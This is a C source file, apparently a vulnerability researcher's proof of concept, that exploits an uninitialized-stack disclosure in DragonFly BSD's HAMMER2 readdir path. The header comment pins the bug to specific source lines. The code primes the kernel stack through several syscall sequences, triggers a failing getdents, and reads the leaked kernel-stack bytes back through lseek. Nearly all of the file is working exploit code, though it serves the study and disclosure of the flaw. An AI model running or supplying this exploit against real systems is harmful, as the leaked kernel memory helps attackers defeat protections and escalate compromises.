DF-2627 / leak_df2627.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 | /* * DF-2627 leak sampler -- hammer2_vop_readdir uninitialized-stack disclosure. * * Bug: hammer2_vnops.c:750 reads stack-uninitialized `bref.key` when the * FIRST xop collect fails; :758 stores it into uio->uio_offset; and * kern_getdirentries (sys/kern/vfs_syscalls.c:4645-4646) copies * auio.uio_offset into fp->f_offset even on error return. Userspace reads * the stale kernel-stack bytes back with lseek(fd, 0, SEEK_CUR). * * usage: leak_df2627 <dir> <iters> <mode> * mode n : no priming (natural stack history) * mode f : each iteration in a fresh fork()ed child * mode o : prime the kernel stack with open+fstat+close of a file before * each getdents (hammer2 nlookup path uses this stack depth) * mode r : prime with a full getdents of a HEALTHY hammer2 directory * (previous hammer2_vop_readdir frame lands at the same stack * address -> bref reused deterministically) * * Each line: "sample <i> rc=<n> errno=<e> cookie=0x%016jx" */ #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <dirent.h> #include <sys/wait.h> #include <sys/socket.h> #include <sys/uio.h> static int getdents_(int fd, void *buf, size_t n) { /* DragonFly: int getdents(int fd, char *buf, int nbytes) */ return getdents(fd, (char *)buf, (int)n); } static void one_sample(const char *dir, const char *primefile, const char *primedir, char mode, int i) { char buf[4096]; char path[512]; long cookie; int fd, rc, e, pfd; /* --- prime the kernel stack ------------------------------------- */ if (mode == 'o' && primefile) { struct stat st; snprintf(path, sizeof(path), "%s/%s", dir, primefile); pfd = open(path, O_RDONLY); if (pfd >= 0) { fstat(pfd, &st); close(pfd); } } else if (mode == 'r' && primedir) { char pbuf[4096]; int pd = open(primedir, O_RDONLY); if (pd >= 0) { while (getdents_(pd, pbuf, sizeof(pbuf)) > 0) ; close(pd); } } else if (mode == 's') { /* network syscall path primes the kstack differently */ int sd = socket(2 /*AF_INET*/, 1 /*SOCK_STREAM*/, 6); if (sd >= 0) close(sd); sd = socket(1 /*AF_UNIX*/, 2 /*SOCK_DGRAM*/, 0); if (sd >= 0) close(sd); } else if (mode == 'w') { /* pipe + writev with an iovec array (stack usage in sys_writev) */ char tmp[64]; struct iovec iov[4]; int pfd2[2]; int k; for (k = 0; k < 4; k++) { iov[k].iov_base = tmp; iov[k].iov_len = 1; } if (pipe(pfd2) == 0) { writev(pfd2[1], iov, 4); close(pfd2[0]); close(pfd2[1]); } } /* --- the leak ---------------------------------------------------- */ fd = open(dir, O_RDONLY); if (fd < 0) { printf("sample %d open_failed errno=%d\n", i, errno); return; } rc = getdents_(fd, buf, sizeof(buf)); e = errno; errno = 0; cookie = lseek(fd, 0, SEEK_CUR); printf("sample %d rc=%d errno=%d cookie=0x%016lx\n", i, rc, e, (unsigned long)cookie); close(fd); } int main(int argc, char **argv) { const char *dir, *primefile, *primedir; int iters, i; char mode; if (argc < 4) { fprintf(stderr, "usage: %s <dir> <iters> <n|f|o|r|s|w> " "[primefile] [primedir]\n", argv[0]); return 2; } dir = argv[1]; iters = atoi(argv[2]); mode = argv[3][0]; primefile = argc > 4 ? argv[4] : NULL; primedir = argc > 5 ? argv[5] : NULL; for (i = 0; i < iters; i++) { if (mode == 'f') { pid_t pid = fork(); if (pid == 0) { one_sample(dir, primefile, primedir, i % 2 ? 'n' : 's', i); fflush(NULL); _exit(0); } waitpid(pid, NULL, 0); } else { one_sample(dir, primefile, primedir, mode, i); } } return 0; } |